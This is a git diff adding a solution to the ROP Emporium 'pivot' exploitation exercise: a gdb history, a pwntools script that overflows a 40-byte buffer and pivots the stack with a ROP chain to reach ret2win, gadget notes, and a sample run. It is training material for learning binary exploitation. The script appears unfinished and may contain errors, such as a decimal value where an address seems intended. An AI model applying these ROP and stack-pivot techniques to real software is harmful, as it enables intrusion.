new file: x86_64/pivot/exploit.py

new file:   x86_64/pivot/gadgets

x86_64/pivot/.gdb_history

@@ -0,0 +1,145 @@
+starti
+context
+break *pwnme
+continue
+context
+x/i 0x7f2041e78f10
+stepi
+return
+stepi
+nexti
+nexti
+stepi
+return
+nexti
+q
+quit
+exit
+exit
+quit
+quit
+quit
+quit
+continue
+stepi
+quit
+quit
+continue
+stepi
+return
+nexti
+asdf
+continue
+nexti
+continue
+nexti
+continue
+context
+help
+nexti
+quit
+quit
+continue
+continue
+quit
+quit
+continue
+stepi
+nexti
+quit
+quit
+continue
+nexti
+quit
+continue
+exit
+quit
+continue
+quit
+continue
+quit
+continue
+continue
+quit
+continue
+break *pwnme + 181
+continue
+x/i pwnme + 181
+x/i *pwnme + 181
+x/i *pwnme + 180
+x/i *pwnme
+x/100i *pwnme
+x/10i *pwnme
+x/20i *pwnme
+x/30i *pwnme
+x/20i *pwnme
+quit
+continue
+stepi
+stepi
+stepi
+stepi
+info reg rax
+stepi
+stepi
+info reg rsp
+x/x rsp
+x/x $rsp
+x/x *$rsp
+x/x $rsp
+quit
+continue
+Quit
+quit
+continue
+continue
+quit
+continue
+continue
+quit
+continue
+quit
+continue
+continue
+continue
+quit
+continue
+nexti
+quit
+continue
+nexti
+x/x $edi
+nexti
+nexti
+x/x $edi
+nexti
+x/i 0x7f3a079a95a3
+quit
+continue
+continue
+quit
+quit
+continue
+quit
+continue
+continue
+nexti
+nexti
+info reg rax
+x/x $rax
+stepi
+stepi
+stepi
+stepi
+return
+context
+stepi
+info reg rbp
+stepi
+info reg rbp
+stepi
+info reg rax
+info reg rbp
+info 0x60103a
+x/x 0x60103a
+quit

x86_64/pivot/exploit.py

@@ -0,0 +1,43 @@
+#!/usr/bin/env python3
+from pwn import *
+from os import getcwd
+import re
+
+#context.terminal = ['kitty', 'sh', '-c']
+print(context.terminal)
+
+prog = gdb.debug('./pivot', gdbscript='''
+        b pwnme
+        b *0x4009a5
+'''
+
+)
+
+payload = b''
+payload += p64(0x0000000000400720)      # foothold@plt
+
+payload += p64(0x4009bb)                # pop rax
+payload += p64(601040)                  # foothold@plt's .got.plt entry
+
+payload += p64(0x00000000004007c8)      # pop rbp
+payload += p64(279)                     # should be the offset of pwnem from foothold's .got.plt 
+
+payload += p64(0x4009c4)                # adds the two
+
+payload += p64(0x00000000004007c1)      # jmp rax
+prog.sendline(payload)
+pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16)
+print(hex(pivit_location))
+
+payload = b''
+#buffer overflow
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x4009bb)                # pop rax
+payload += p64(pivit_location)          # pivot location
+payload += p64(0x4009bd)                # xchg rsp,rax
+
+prog.sendlineafter('Now please send your stack smash', payload)
+prog.interactive()
+

x86_64/pivot/gadgets

@@ -0,0 +1,44 @@
+Goal is to call ret2win from libpivot
+we don't know where ret2win is, but we do know where foothold_function is
+
+pivot is at 0x7f2041e78f10
+0x0000000000400720 : foothold_function@plt
+0x000000000000096a : foothold_function
+
+resolve ret2win:
+1:  resolve foothold_function
+    resolved foothold: [0x400720 + 0x20091a]
+    offset of foothold vs 
+
+2: ret2win = [0x400720 + 0x20091a] + 279 
+
+64 rop chains possible at 0x7eff3d368f10
+6 rop chains possible at buffer overflow
+
+0x00000000004007c8 : pop rbp ; ret
+0x00000000004007c1 : jmp rax
+
+00000000004009bb <usefulGadgets>:
+  4009bb:	58                   	pop    rax
+  4009bc:	c3                   	ret    
+
+  4009bd:	48 94                	xchg   rsp,rax
+  4009bf:	c3                   	ret    
+
+  4009c0:	48 8b 00             	mov    rax,QWORD PTR [rax]
+  4009c3:	c3                   	ret    
+
+  4009c4:	48 01 e8             	add    rax,rbp
+  4009c7:	c3                   	ret    
+
+1: resolve foothold (2)
+4: pop rax (rax is 0x400720 + 0x20091a)
+5: pop rbp (rpb is 279)
+6: add rax, rbp
+7: mov rax, [rax]
+8: jmp rax
+
+
+2: pop rax          (4)
+3: xchg rsp,rax     (5)
+ 

x86_64/pivot/test

@@ -0,0 +1,12 @@
+pivot by ROP Emporium
+x86_64
+
+Call ret2win() from libpivot
+The Old Gods kindly bestow upon you a place to pivot: 0x7f93a9160f10
+Send a ROP chain now and it will land there
+> Thank you!
+
+Now please send your stack smash
+> Thank you!
+
+Exiting